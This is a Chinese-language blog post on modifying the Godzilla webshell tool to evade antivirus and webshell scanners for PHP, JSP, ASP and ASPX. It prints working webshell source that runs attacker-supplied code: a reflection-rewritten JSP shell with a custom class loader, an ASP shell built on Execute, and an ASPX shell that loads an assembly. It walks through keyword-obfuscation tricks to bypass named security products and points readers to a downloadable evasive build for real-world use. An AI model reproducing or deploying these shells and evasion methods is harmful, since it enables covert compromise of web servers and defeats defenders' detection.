哥斯拉二开从0到1-2(免杀)

前言

有小伙伴提议说，我们上个文章改了一下哥斯拉的流量，但是在实际的应用中，我们打战肯定要先传木马落地，如果不能落地，那么你流量改的再好，其实也没有意义，想想，确实也是。没有第一步上传文件，哪里存在流量呢。

那么这次咱们来做一下免杀。在实际的应用中，似乎我们经常碰到安全设备，奈何咱这也没有啥安全设备，我们就采用常见的厂商的在线杀软吧。如果有小伙伴有的话，可以帮我测测，把结果告诉我，笔者再进行优化。

php 免杀

我们用默认生成的文件，

拖到d盾中，看一下

会报3级的双层变量，那好办，拿出来就行

让他先等于一个变量，在传递就可以了。

完事之后，就可以了

没有a.php了。

河马报毒，我们使用fuzz方法看一下哪里有问题。

这里经过fuzz，这里有$qianxinITUfjjXmxo2($_POST[$qianxinw7hJzkKxyi])的时候，那么就报毒，那简单，直接给他拆出来，用变量写。

这样写，就可以了

这里本地版的河马是没有问题了，但是吧，在线版的河马就是过不去，只要出现eval，就直接报。暂时没有太好的办法。在线加密也行，不过比较麻烦。这里就不写了

像d盾河马这种都是静态查杀的，他不管你里面的内容是什么，出现eval这种或者eval() eval(chuanchan) 就会报，d盾还好解决一点，用类可以绕，但是把河马死活绕不过，先搁下吧。

实际中，我们经常会见到一下商业waf，

微步没报，但是他这个gtp说可能有问题。

火绒和360。火绒和360对webshell其实是不敏感的，终端安全，对cs 或者msf的🐎都比较敏感，所以感觉这个，没啥意义。也测一下吧。

阿里云报了可疑，没有绕过去。这个eval没有过去

好，php的免杀就先到这里吧。奈何笔者太菜了，动态的webshell查杀都过不去。

笔者在测试php5的时候，发现

http_response_code(404);这行代码时报错的

在php官网看，发现http_response_code只在(PHP 5 >= 5.4.0, PHP 7, PHP 8)支持。

不过，下面在十一年前，有大牛已经给出了解决方法，

好，这里我们就改完了。

用笔者开的这个工具，你会发现，每次生成的🐎都是一样的，注释什么的，和变量名，都一样。

我们想办法给他写一下，然他变动起来。

我们在原版中可以看到，读取哥斯拉默认生成模板bin文件后，会替换pass 和key。

那么相应的，我们定义几个变量，让他随机替换即可。

首先我们在方法里定义一个数组，然后进行随机排序，然后再给他拿出来用，就可以了。这里用了几个字符串。然后分别进行替换掉。

我们再在bin文件中，写上相应的所需要替换的字符串，这样就可以了。打包，编译。

这样，我们每次生成的木马就不一样了。就动态了。但是其实总体结构还是不变的。变得只是变量。

没事，能用就行，后面在优化。好了 php的免杀就先做到这里，下面是jsp的。

jsp 免杀

环境：Apache Tomcat/9.0.65

上来就是已知后门，那么肯定是被匹配到了关键字，fuzz一下。

在两次的🐎中可以看到，应该是匹配了cipher。

这里给他换成Unicode还是报，那可能还有关键词。

aes也有问题。ok,也给他编码一下，下半部分也有问题，改改。

我们在改这个的时候发现就算有这一句，也报已知，那说明，这个里面的\u啥啥啥的也被标记了。

我们在测试的时候，发现阿里云拦截的，

这种反射加载类的 invoke方式肯定是被拦截的。所以，我们让gpt帮我们写一下。

就类似于这种。这样的话，阿里云就不报了。

原本的哥斯拉分两半部分，上部分为定义的各种方法。如md5 base64 en decode aes等，

下半部分为，正真的传参逻辑。

我们让gpt帮我们改一下，上半部分，用反射机制，并且避免invoke出现。

左边为没有下班部分，右边是有的

可以看到，上半部分已经没有问题了，下半部分还是有问题，放一下🐎。

阿里云也报，他是报的f.equals(pageContext);。那我们再改一下。🐎的核心逻辑。

<%! 
    String xc = "3c6e0b8a9c15224a"; 
    String pass = "pass"; 
    String md5 = md5(pass + xc); 
    
    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }
        
       public Class Q(byte[] cb) {
    try {
        return super.defineClass(null, cb, 0, cb.length);
    } catch (ClassFormatError e) {
        // 可以在这里捕获并处理异常
        e.printStackTrace();
        return null;
    }
}
    }
    
    
    
    
    
public byte[] x(byte[] s, boolean m) { 
    try {
        // 获取 Cipher 类
        Class<?> cipherClass = Class.forName("javax.crypto.Cipher");

        // 获取 Cipher.getInstance("AES") 方法并调用
        java.lang.reflect.Method getInstanceMethod = cipherClass.getMethod("getInstance", String.class);
        Object cipher = getInstanceMethod.invoke(null, "AES");

        // 获取 SecretKeySpec 类并创建对象
        Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec");
        java.lang.reflect.Constructor<?> secretKeySpecConstructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
        Object key = secretKeySpecConstructor.newInstance(xc.getBytes(), "AES");

        // 获取 Cipher.init 方法并调用
        java.lang.reflect.Method initMethod = cipherClass.getMethod("init", int.class, java.security.Key.class);
        initMethod.invoke(cipher, m ? 1 : 2, key);

        // 获取 Cipher.doFinal 方法并调用
        java.lang.reflect.Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
        return (byte[]) doFinalMethod.invoke(cipher, (Object) s);
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

    
    
    
    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {}
        return ret;
    }
    
    public static String base64Encode(byte[] bs) {
        try {
            // 使用 java.util.Base64
            java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();
            return encoder.encodeToString(bs);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    // 避免 invoke 直接使用 Base64 类
    public static byte[] base64Decode(String bs) {
        try {
            // 使用 java.util.Base64
            java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
            return decoder.decode(bs);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
%>

知道哪里有问题，就好改了。

我们直接在d盾处删了阿里云报的 f.是不行的，

改了一下变量名，也不行。

经过一天的测试，发现，好像绕不过阿里云了。，太菜了。先这样。

aliyun会匹配f.equals(pageContext);

改成unicode也不行，aliyun是动态的，他会运行。其他的都用反射写好了。

哦，对了，还有一点就是这个defineClass(null, cb, 0, cb.length);方法。

https://xz.aliyun.com/t/11368

在这篇大师傅的文章中，详细说了这个，哥斯拉和冰蝎都是这样的需要defineClass方法来加载恶意类字节码，似乎需要自定义ClassLoader来绕过了。或者改payload了。

下面的评论中，也写了，单文件不好过阿里云了。需要分离了。笔者太菜了，后面在研究。

接下来看下半部分，在看了大量哥斯拉免杀马的教程后发现，d盾我也没过去。下面就记录一下。

<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);

        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);

            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {}
%>

这是下半部分，主要的查杀点是session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));

准确的来说是getClassLoader这个字符串。

这里直接将这个字符串删掉，完全没有问题。

https://www.freebuf.com/sectool/386231.html

在这篇大师傅的文章中说，将this.getClass().getClassLoader() 可替换为Thread.currentThread().getContextClassLoader()

但是，我们惊奇的发现，getContextClassLoader() 也是存在ClassLoader 所以过不去。

为了gpt，发现，无论怎么获取，都需要有ClassLoader()这个字符，那么就走到了死胡同。

还有一种方法，就是自己写了，那么我们先搁下，后面在研究（其实就是笔者不会，等我研究研究的）。

那么还有一种方法就是混淆了，混淆就是用unicode编码。

但是你会发现，有unicode编码。直接就报，也不管里面是啥。所以暂时我的路给堵死了。

最后我们就用unicode编码吧，报就报吧，总比报可疑好看一点。

这样的话，我们的模板就写好了。

试试火绒和360 ，

这里传值的时候，是payload就不行，火绒和360都报，

随便写个字符串，即可了。在改改变量名，就不演示了。好，这一我们的模板就彻底完事了。

放到哥斯拉里的bin文件就行。

当然，我们的bin文件需要改一改。由于，哥斯拉默认jsp形式的生成代码是两段，所以我们需要都改一下

把这些str写一下，在主generate中，写一些字符串，然后在生成代码时候进行替换就可以了。

这个活看起来确实不是很难，但是需要很细，改了一天，错一点又要重新删了在替换，心态快崩了。

这里细心的同学会发现，我将原本默认的哥斯拉生成的pass 和 key进行base64了。

就是在这个地方

在生成木马中，就找不到原来的pass 和一个16位的字符了，增加一丢丢迷惑性吧

原本的马中，是有md5函数的，但是这个没有，因为用不到，就给删了。

当然，其中也加了一些其他的东西。这里就不细讲了，防止暴漏，能让大家多用一会。

回到免杀，是的，也过掉了d盾，笔者上面说到的 gpt帮我们找了一些函数，但是都有classcload 过不去，其实不是，经过测试发现，这个是有可以代替的。gpt太强了。这里就不写改过哪里了。大家下载了直接用就好。下个版本在揭露，目前我看网上还没有这种用法。

这样呢，我们就过掉了d盾，希望d盾的作者不要看到这个文章，这样的话，就能一直用了。

好了，这样就可以了。暂时先用着，看下效果。

没次生成的

ok，没有问题，这样jsp的免杀就完成了。大家在使用的时候，尽量别用pass 和key做密码，太明显了。下面咱们来看asp的。

asp 免杀

先看一下原版的🐎

<%
Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")

Function Base64Decode(ByVal vCode)
    Dim oXML, oNode
    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.text = vCode
    Base64Decode = oNode.nodeTypedValue
    Set oNode = Nothing
    Set oXML = Nothing
End Function

Function decryption(content,isBin)
    dim size,i,result,keySize
    keySize = len(key)
    Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.CharSet = "iso-8859-1"
    BinaryStream.Type = 2
    BinaryStream.Open
    if IsArray(content) then
        size=UBound(content)+1
        For i=1 To size
            BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1)))
        Next
    end if
    BinaryStream.Position = 0
    if isBin then
        BinaryStream.Type = 1
        decryption=BinaryStream.Read()
    else
        decryption=BinaryStream.ReadText()
    end if

End Function
    key="3c6e0b8a9c15224a"
    content=request.Form("pass")
    if not IsEmpty(content) then

        if  IsEmpty(Session("payload")) then
            content=decryption(Base64Decode(content),false)
            Session("payload")=content
            response.End
        else
            content=decryption(Base64Decode(content),true)
            bypassDictionary.Add "payload",Session("payload")
            Execute(bypassDictionary("payload"))
            result=run(content)
            response.Write("11cd6a")
            if not IsEmpty(result) then
                response.Write Base64Encode(decryption(result,true))
            end if
            response.Write("ac826a")
        end if
    end if
%>

我们会发现Execute(bypassDictionary(“payload”)) 这一句肯定是检查的重点了。经过看文章，一共就三个执行命令的函数，

Eval

Execute

ExecuteGlobal

大概率是不好过了。asp可以使用chr（97）这种方式进行混淆关键字。但是eval这种不可以。

类似这种。字符串和chr拼接。

大概这样

看一下查杀效果，首先看最强的阿里云

如我们所想，阿里云直接检测EXECUTE，存在即被ban，那这样的话，没啥好办法了，和php的eval一样了。先搁着，后面笔者在学习学习。

微步没问题

河马也没问题

d盾

360 火绒

那么也就是除了aliyun 其他应该都没啥问题

我们进行简单优化一下，函数和字符串复用一下，尽量少些一点字符。

然后整到到哥斯拉里。替换一下变量名。

模板也修改一下

然后打包试一下效果。生成三个免杀🐎，都不一样。

ok，没有任何问题。接下来看aspx。

aspx 免杀

我们先来看一下aspx的CSHAP_AES_BASE64的🐎

1
2
3

<%@ PAge LaNgUagE="C#"%>
<%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }
%>

代码相对较短。应该调用base64比较简单。asp调用base64代码相对较多，代码一度到了60行。大部分都是在加载base64。主要就是将返回的结果aes后进行base64。

data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(changshangyi), System.Text.Encoding.Default.GetBytes(changshangyi)).TransformFinalBlock(data, 0, data.Length);

这一句应该是重要，还有

Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)));

理论上来说关于data处理的都是重要的，d盾都标记了。

这个地方定义一个变量传参，或者

直接将aes拆开也行。

现在报可疑。再fuzz一下，哪里可疑。

RijndaelManaged

RijndaelManaged 换成AesManaged
可疑文件出现在下面这一句话上
System.Reflection.MethodInfo loadMethod = assemblyType.GetMethod(“Load”, parameterTypes);

这里还是给他拆开写。

这样就可以了。过掉d盾。
但是还是有问题，就是显示该文件为单文件aspx，有点丑陋。
经过fuzz笔者发现，这个单文件

匹配的就是开头的标识ASPX的一个字段，可以是 c、js、Jscript 、CSHARP等

没有这个就不报了。
经过搜索，这个大师傅已经给出了解决方案。

https://xz.aliyun.com/t/10937

放到最后，并且要<% @language=”c#” %>这么写就可以绕过了。在优化一下key 和 pass 进行编码一下，隐藏起来。

来看一下aliyun，还是报恶意，但是这次并没有给出检测的哪里，emmmm，去fuzz的话，相对比较难，就是随便删除代码的话，会报正常，因为阿里云会动态检测，语法不对，就直接报正常了。fuzz的时间相对长一些。先搁置把。
微步

360 火绒

免杀都没啥问题。
这里没有使用其他大师傅那种 unicode编码的免杀，为什么呢，还是在jsp中遇到的，在d盾中，只要有unicode编码，就报可疑，感觉不是很好，所以就没有使用。当然，aspx是可以使用unicode进行免杀的。
好开始往里灌，整成动态的。

简单写一下，替换code即可。
一如既往生成三个。

可以看到，每次都不一定。

ok，使用也没问题。这样的话，aspx的免杀也就完成了。

总结

这里也算进行了简单的免杀，全部语言除了 aliyun没有过去，其他的平台基本全过。不得不承认，aliyun是强的。php 简单使用了一下类、对关键字进行了chr的替换，jsp重写了base64编码方法，重写了加载aes，使用的反射型方法写的，对关键字进行替换，asp使用了chr进行替换关键字拼接字符串，换了一下函数的写法，aspx对关键函数拆开重写，并且将关键查杀函数重新写了一下，对关键字base64编码。

下个版本

1.1版本添加木马的免杀，全语言都做好了，但是并没有改流量以及加密方式，只是做了伪装，
后面需要做的：修改一下加密方式，这样的话会更好一点。还有就是message其实是固定的，希望能让他动起来。还有传递的参数 page=1&size=10 是固定的，让他也动起来。其他语言的比如 jspf的，asmx的都没做，后面做。

下载、使用

什么，你说看不明白、不想动手、太麻烦，没事，去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai
release 1.1 免杀版本，src代码也以上传，大家直接下载研究即可。
上个版本由于写的比较菜，没好意思跟大家要star，这次自我感觉还行，也算是实战能用了，如果感觉还凑合，大家帮忙点点star

致谢

最后感谢您读到现在，这篇文章匆忙构成肯定有不周到或描述不正确的地方，期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行，帮笔者点点stars、给公众号点点关注，先谢谢大家了。

参考

https://github.com/BeichenDream/Godzilla            原版哥斯拉
https://github.com/Tas9er/ByPassGodzilla   ByPassGodzilla
https://xz.aliyun.com/t/2758               利用动态二进制加密实现新型一句话木马之.NET篇
https://xz.aliyun.com/t/10937              测试几种实战成功过的webshell的免杀方式
https://xz.aliyun.com/t/11368              实战分析某红队魔改哥斯拉Webshell
https://uuzdaisuki.com/2021/05/12/webshell%E5%85%8D%E6%9D%80%E7%A0%94%E7%A9%B6jsp%E7%AF%87/                   webshell免杀研究jsp篇
https://www.secpulse.com/archives/193780.html        简单操作实现冰蝎jsp webshell 阿里云免杀

emmm 太菜了
一直在路上